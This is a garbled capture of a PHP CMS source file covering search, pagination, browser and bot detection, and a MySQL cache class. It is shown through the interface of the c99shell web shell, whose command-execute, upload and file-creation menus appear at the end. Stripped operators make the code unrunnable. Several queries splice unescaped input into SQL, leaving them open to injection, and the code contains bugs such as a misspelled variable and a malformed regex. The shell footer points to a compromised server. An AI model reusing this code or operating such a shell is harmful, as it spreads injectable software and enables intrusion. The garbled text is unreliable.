$text $words;
    
$sql "SELECT $indexField$titleField, MATCH ($field) AGAINST ('$text' IN BOOLEAN MODE) AS relev FROM $tableName WHERE MATCH ($field) AGAINST ('$text' IN BOOLEAN MODE)";
    
$res mysql_query($sql);    
    while (
$row = @mysql_fetch_assoc($res))
        
$rows [] = $row;
    return 
$rows;
}

class 
CPageNavigator

   var 
$CurrentPage;
   var 
$RowsInPage;
   var 
$CountOfRows;
   function 
CPageNavigator($countOfRows$curpage 1$rowsInPage 10)
   {
      
$this->CurrentPage $curpage;
      
$this->RowsInPage  $rowsInPage;
      
$this->CountOfRows $countOfRows;
   }
   function 
GetLimitStatement()
   {
      
$st = ($this->CurrentPage 1)*$this->RowsInPage 1;
      return 
"LIMIT ".$st.",".$this->RowsInPage;
   } 
   function 
GetCountOfPages()
   {
      return @
ceil($this->CountOfRows $this->RowsInPage);
   }
   function 
TestNumberOfPage($page)
   {
      if (
$page <= 0)
      return 
false;
    if (
$page $this->GetCountOfPages())
      return 
false;
    return 
true;
   }
   function 
GetStartIndex()
   {
       return 
$st = ($this->CurrentPage 1)*$this->RowsInPage;
   }
   function 
GetNavigator($addressPreffix$caption)
   {
     
$increment 8;
     
$rows = array();
     
$comp explode("?",$_SERVER['REQUEST_URI']);
     
$addrBase    $comp[0];
     
$addrRequest $comp[1];     
     
$parComponents explode("&"$addrRequest);
     
$params = array();
     foreach(
$parComponents as $key => $value)
     {
         
$par explode("="$value);
         if (
$par[0] != "mod" && $par[0] != "pageNum")
         {
             if (
$value != "")
                 
$params[] = $value;
         }
     }
     
$par $params;
     if (
$this->CurrentPage $increment 1)
     {
          
$row['title'] = "&laquo;";
          
$row['page'] = 1;
          
$params[] = "pageNum=1";
          
$addrRequest implode("&"$params);
          
$row['link'] = $addrBase."?".$addrRequest;
          
array_push($rows$row);
          
$params $par;
     }
     for (
$i = -$increment$i <= $increment$i++)
        if (
$this->TestNumberOfPage($this->CurrentPage $i))
        {
              
$row['title'] = $this->CurrentPage $i;
              
$row['page'] = $this->CurrentPage $i;
              
$params[] = "pageNum=".$row['page'];
              
$addrRequest implode("&"$params);
              
$row['link'] = $addrBase."?".$addrRequest;
              
array_push($rows$row);
              
$params $par;
        }
   if (
$this->CurrentPage $increment $this->GetCountOfPages())
   {
      
$row['title'] = "&raquo;";
      
$row['page'] = $this->GetCountOfPages();     
      
$params[] = "pageNum=".$row['page'];
      
$addrRequest implode("&"$params);
      
$row['link'] = $addrBase."?".$addrRequest;
      
array_push($rows$row);
      
$params $par;
   }
    foreach(
$rows as $key => $value)
    {
         
$class "";
       
$title $value['title'];
       if (
$value['page'] == $this->CurrentPage)
           
$class " class=\"selected\"";
       
$link $value['link'];   
           
$str .= "<a href=\"{$link}\" {$class}>{$title}</a>";
    }
    if (
count($rows) > 1)
        return 
"<div class=\"page-navigator\"><span class=\"title\">{$caption}:</span> {$str}</div>";
    else
        return 
"";
   }
}

function 
detect_browser($HTTP_USER_AGENT) {
    
// Браузер и его версия    
     
$data[] = array("regexp"          => "(Opera Mini/)([0-9]{1,2}).([0-9]{1,3})",
                      
"browser"         => "Opera Mini",
                     
"version"         => 2,
                     
"subversion"     => 3);
     
$data[] = array("regexp"          => "(Opera(/){0,1}[ ]{0,1})([0-9]{1,2}).[0-9]{1,3}",
                      
"browser"         => "Opera",
                     
"version"         => 3,
                     
"subversion"     => 4);
     
$data[] = array("regexp"          => "(Opera/)([0-9]{1,2}).([0-9]{1,3})",
                      
"browser"         => "Opera",
                     
"version"         => 2,
                     
"subversion"     => 3);
     
$data[] = array("regexp"          => "(METASpider)",
                      
"browser"         => "BOT",
                     
"version"        => "METASpider");
     
$data[] = array("regexp"          => "(Yandex)",
                      
"browser"         => "BOT",
                     
"version"        => "Yandex");
     
$data[] = array("regexp"          => "(HostTracker.com)",
                      
"browser"         => "BOT",
                     
"version"        => "HostTracker.com");
     
$data[] = array("regexp"          => "(Aport)",
                      
"browser"         => "BOT",
                     
"version"        => "Aport");
     
$data[] = array("regexp"          => "(Googlebot/)([0-9]{1,2}.[0-9]{1,3}){0,1}",
                      
"browser"         => "BOT",
                     
"version"        => "Google");
     
$data[] = array("regexp"          => "(SurveyBot/)([0-9]{1,2}.[0-9]{1,3}){0,1}",
                      
"browser"         => "BOT",
                     
"version"        => "SurveyBot (Whois)",
                     
"subversion"    => 2);
     
$data[] = array("regexp"          => "(Konqueror)/([0-9]{1,2}).([0-9]{1,3})",
                      
"browser"         => "Konqueror",
                     
"version"        => 2,
                     
"subversion"    => 3);
     
$data[] = array("regexp"          => "(Chrome)/([0-9]{1,2}).([0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3})",
                      
"browser"         => "Google Chrome",
                     
"version"        => 2,
                     
"subversion"    => 3);
     
$data[] = array("regexp"          => "(msie) ([0-9]{1,2}).([0-9]{1,3})",
                      
"browser"         => "MSIE",
                     
"version"        => 2,
                     
"subversion"    => 3);
     
$data[] = array("regexp"          => "(Twiceler-)([0-9]{1,2}.[0-9]{1,3}){0,1}",
                      
"browser"         => "BOT",
                     
"version"        => "Twiceler");
     
$data[] = array("regexp"          => "(StackRambler/)([0-9]{1,2}.[0-9]{1,3}){0,1}",
                      
"browser"         => "BOT",
                     
"version"        => "Rambler");                     
     
$data[] = array("regexp"          => "(Gigabot/)([0-9]{1,2}.[0-9]{1,3}){0,1}",
                      
"browser"         => "BOT",
                     
"version"        => "Gigabot");                     
     
$data[] = array("regexp"          => "(ia_archiver)",
                      
"browser"         => "BOT",
                     
"version"        => "ia_archiver");                     
     
$data[] = array("regexp"          => "(ProBCE.NET)",
                      
"browser"         => "BOT",
                     
"version"        => "ProBCE.NET");                     
     
$data[] = array("regexp"          => "(Yanga WorldSearch Bot)",
                      
"browser"         => "BOT",
                     
"version"        => "Yanga WorldSearch Bot");                     
     
$data[] = array("regexp"          => "(Baiduspider)",
                      
"browser"         => "BOT",
                     
"version"        => "Baiduspider");                     
     
$data[] = array("regexp"          => "(Firefox)/([0-9]{1,2}).([0-9]{1,3}(.[0-9]{1,3}){0,1})",
                      
"browser"         => "Firefox",
                     
"version"        => 2);        
     
$data[] = array("regexp"          => "(Minefield)/([0-9]{1,2}).([0-9]{1,3}(.[0-9]{1,3}){0,1})",
                      
"browser"         => "Minefield",
                     
"version"        => 2);        
     
$data[] = array("regexp"          => "(OOZBOT)",
                      
"browser"         => "BOT",
                     
"version"        => "OOZBOT");                     
     
$data[] = array("regexp"          => "(FollowSite Bot)",
                      
"browser"         => "BOT",
                     
"version"        => "FollowSite");                     
     
$data[] = array("regexp"          => "(RusCorpusbot)",
                      
"browser"         => "BOT",
                     
"version"        => "RusCorpusbot");                     
     
$data[] = array("regexp"          => "(CCBot)",
                      
"browser"         => "BOT",
                     
"version"        => "CCBot");                     
     
$data[] = array("regexp"          => "(Yahoo!)",
                      
"browser"         => "BOT",
                     
"version"        => "Yahoo!");                     
     
$data[] = array("regexp"          => "(ePochta_Extractor)",
                      
"browser"         => "BOT",
                     
"version"        => "ePochta_Extractor");                     
     
$data[] = array("regexp"          => "(Servage Robot)",
                      
"browser"         => "BOT",
                     
"version"        => "Servage Robot");                     
     
$data[] = array("regexp"          => "(psbot)",
                      
"browser"         => "BOT",
                     
"version"        => "psbot");                     
     
$data[] = array("regexp"          => "(safari)/([0-9]{1,2}).([0-9]{1,3})",
                      
"browser"         => "Safari",
                     
"version"        => 2);
     
$data[] = array("regexp"          => "(K-Meleon)/([0-9]{1,2}).([0-9]{1,3})",
                      
"browser"         => "K-Meleon",
                     
"version"        => 2);
     
$data[] = array("regexp"          => "(Netscape)/([0-9]{1,2}).([0-9]{1,3})",
                      
"browser"         => "Netscape",
                     
"version"        => 2);
     
$data[] = array("regexp"          => "(Thunderbird)/([0-9]{1,2}).([0-9]{1,3})",
                      
"browser"         => "Thunderbird",
                     
"version"        => 2);
     
$data[] = array("regexp"          => "(SeaMonkey)/([0-9]{1,2}).([0-9]{1,3})",
                      
"browser"         => "SeaMonkey",
                     
"version"        => 2);
     
$data[] = array("regexp"          => "(Phoenix)/([0-9]{1,2}).([0-9]{1,3})",
                      
"browser"         => "Phoenix",
                     
"version"        => 2);
     
$data[] = array("regexp"          => "(Crawler)",
                      
"browser"         => "BOT",
                     
"version"        => "Crawler");
     
$data[] = array("regexp"          => "(Microsoft Data Access Internet Publishing Provider Protocol Discovery)",
                      
"browser"         => "BOT",
                     
"version"        => "MDAI-PPPD");
     
$data[] = array("regexp"          => "(ovalebot3.ovale.ru facepage)",
                      
"browser"         => "BOT",
                     
"version"        => "ovalebot");
     
$data[] = array("regexp"          => "(ovalebot)",
                      
"browser"         => "BOT",
                     
"version"        => "ovalebot");
     
$data[] = array("regexp"          => "(Linguee Bot)",
                      
"browser"         => "BOT",
                     
"version"        => "Linguee");
     
$data[] = array("regexp"          => "(Yeti)",
                      
"browser"         => "BOT",
                     
"version"        => "Yeti");
     
$data[] = array("regexp"          => "(msnbot)",
                      
"browser"         => "BOT",
                     
"version"        => "MSN");
     
$data[] = array("regexp"          => "(google_web)",
                      
"browser"         => "BOT",
                     
"version"        => "Google");
     
$data[] = array("regexp"          => "(Bot)",
                      
"browser"         => "BOT",
                     
"version"        => "Unknown");
     
$data[] = array("regexp"          => "(bot)",
                      
"browser"         => "BOT",
                     
"version"        => "Unknown");
     
$data[] = array("regexp"          => "(crawl)",
                      
"browser"         => "BOT",
                     
"version"        => "Unknown");                     
     
$data[] = array("regexp"          => "(google)",
                      
"browser"         => "BOT",
                     
"version"        => "Google");
     
$data[] = array("regexp"          => "(Mozilla)/([3-4]).([0-9]{1,2})",
                      
"browser"         => "Netscape",
                     
"version"        => 2); 
     
$data[] = array("regexp"          => "(Mozilla)",
                      
"browser"         => "Firefox",
                     
"version"        => "Unknown");
     
$data[] = array("regexp"          => "(Nokia)",
                      
"browser"         => "Nokia browser",
                     
"version"        => "");
     
$data[] = array("regexp"          => "(NOKIA)",
                      
"browser"         => "Nokia browser",
                     
"version"        => "");
    
$browser["name"] = "Unknown";
    
$browser["version"] = "Unknown";    
    
    
$dataos []= array("regexp"     =>    "[lL]inux",
                    
"os"        =>  "Linux");
    
$dataos []= array("regexp"     =>    "Opera Mini",
                    
"os"        =>  "Mobile Device");
    
$dataos []= array("regexp"     =>    "win32",
                    
"os"        =>  "Windows");
    
$dataos []= array("regexp"     =>    "(win)([0-9]{2}",
                    
"os"        =>  "Windows",
                    
"version"    =>     2);
    
$dataos []= array("regexp"     =>    "(windows) ([0-9]{2})",
                    
"os"        =>  "Windows",
                    
"version"    =>     2);
    
$dataos []= array("regexp"     =>    "(winnt)([0-9]{1,2}.[0-9]{1,2}){0,1}",
                    
"os"        =>  "Windows",
                    
"version"    =>     2);
    
$dataos []= array("regexp"     =>    "(windows nt)( ){0,1}([0-9]{1,2}.[0-9]{1,2}){0,1}",
                    
"os"        =>  "Windows",
                    
"version"    =>     3);
    
$dataos []= array("regexp"     =>    "mac",
                    
"os"        =>  "Macintosh");
    
$dataos []= array("regexp"     =>    "(sunos) ([0-9]{1,2}.[0-9]{1,2}){0,1}",
                    
"os"        =>  "SunOS",
                    
"version"    =>     2);
    
$dataos []= array("regexp"     =>    "(beos) r([0-9]{1,2}.[0-9]{1,2}){0,1}",
                    
"os"        =>  "BeOS",
                    
"version"    =>     2);
    
$dataos []= array("regexp"     =>    "freebsd",
                    
"os"        =>  "FreeBSD");
    
$dataos []= array("regexp"     =>    "openbsd",
                    
"os"        =>  "OpenBSD");
    
$dataos []= array("regexp"     =>    "irix",
                    
"os"        =>  "IRIX");
    
$dataos []= array("regexp"     =>    "os/2",
                    
"os"        =>  "OS/2");
    
$dataos[] = array("regexp"     =>    "plan9",
                    
"os"        =>  "Plan9");
    
$dataos []= array("regexp"     =>    "unix",
                    
"os"        =>  "Unix");
    foreach(
$data as $key => $value)
    {
        if (
eregi($value['regexp'], $HTTP_USER_AGENT$match))
        {
            
$browser["name"] = $value["browser"];
            if ((int)(
$value["version"]) > 0)
                
$browser["version"] = $match[$value["version"]];
            else
                
$browser["version"] = $value["version"];
            if (
$browser["name"] != "BOT")
            {
                foreach(
$dataos as $key2 => $value2)
                if (
eregi($value['regexp'], $HTTP_USER_AGENT$match2))
                {
                    
$browser["os"] = $value2["os"];
/*                    if ((int)($value2["version"]) > 0)
                        $browser["os_version"] = $match[$value2["version"]];
                    else
                        $browser["os_version"] = $value2["version"];*/
                    
                    
break;
                }
            } else
            {
                
$browser["os"]         = "BOT";                
                
$browser["version"] = "";
            }
            break;
        }
    }
    return 
$browser;
}
function 
addzero($value$charCount)
{
    
$v $value;
    for (
$i strlen($value); $i $charCount$i++)
    {
        
$v "0".$v;
    }    
    return 
$v;
}
    class 
AMCMS_Cache
    
{
        static function 
Save($module$chapter$page$data)
        {
            
$date GetCurrentDateAndTime();            
            
$sql "SELECT COUNT(*) as count FROM AMCMS_cache WHERE cache_module = '{$module}' AND cache_chapter = '{$chapter}' AND cache_page = '{$page}'";
            
$res mysql_query($sql);
            
$row mysql_fetch_assoc($res);
            
$data addslashes($data);
            if (
$row['count'] == 0)
            {
                
$sql "INSERT INTO AMCMS_cache (cache_module, cache_chapter, cache_page, cache_date, cache_data) VALUES ('{$module}', '{$chapter}', '{$page}', '{$date}', '{$data}')";
                
mysql_query($sql);
            } else
            {
                
$sql "UPDATE AMCMS_cache SET cache_data = '{$data}', $cahce_date = '{$date}' WHERE cache_module = '{$module}' AND cache_chapter = '{$chapter}' AND cache_page = '{$page}'";
                
mysql_query($sql);                
            }
        }
        static function 
Load($module$chapter$page)
        {
            
$sql "SELECT * FROM AMCMS_cache WHERE cache_module = '{$module}' AND cache_chapter = '{$chapter}' AND cache_page = '{$page}'";
            
$res mysql_query($sql);
            
$row mysql_fetch_assoc($res);
            return 
$row['cache_data'];
        }
        static function 
GetCacheFlag($module$chapter$page)
        {
            
$sql "SELECT cache_update FROM AMCMS_cache WHERE cache_module = '{$module}' AND cache_chapter = '{$chapter}' AND cache_page = '{$page}'";
            
$res mysql_query($sql);
            
$row mysql_fetch_assoc($res);
            return 
$row['cache_update'];
        }
        static function 
ClearCache($module$chapter null$page null)
        {
            
$cond = array("cache_module = '{$module}'");
            if (
$chapter != null)
                
$cond [] = "cache_chapter = '{$chapter}'";
            if (
$page != null)
                
$cond [] = "cache_page = '{$page}'";
            
$condStr implode(" AND "$cond);
            
$sql "DELETE FROM AMCMS_cache WHERE {$condStr}";
            
mysql_query($sql);
        }
        static function 
SetCacheFlag($module$chapter$page$value)
        {
            
$sql "UPDATE AMCMS_cache SET cache_update = '{$value}' WHERE cache_module = '{$module}' AND cache_chapter = '{$chapter}' AND cache_page = '{$page}'";
            
mysql_query($sql);                
        }
    }

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0398 ]--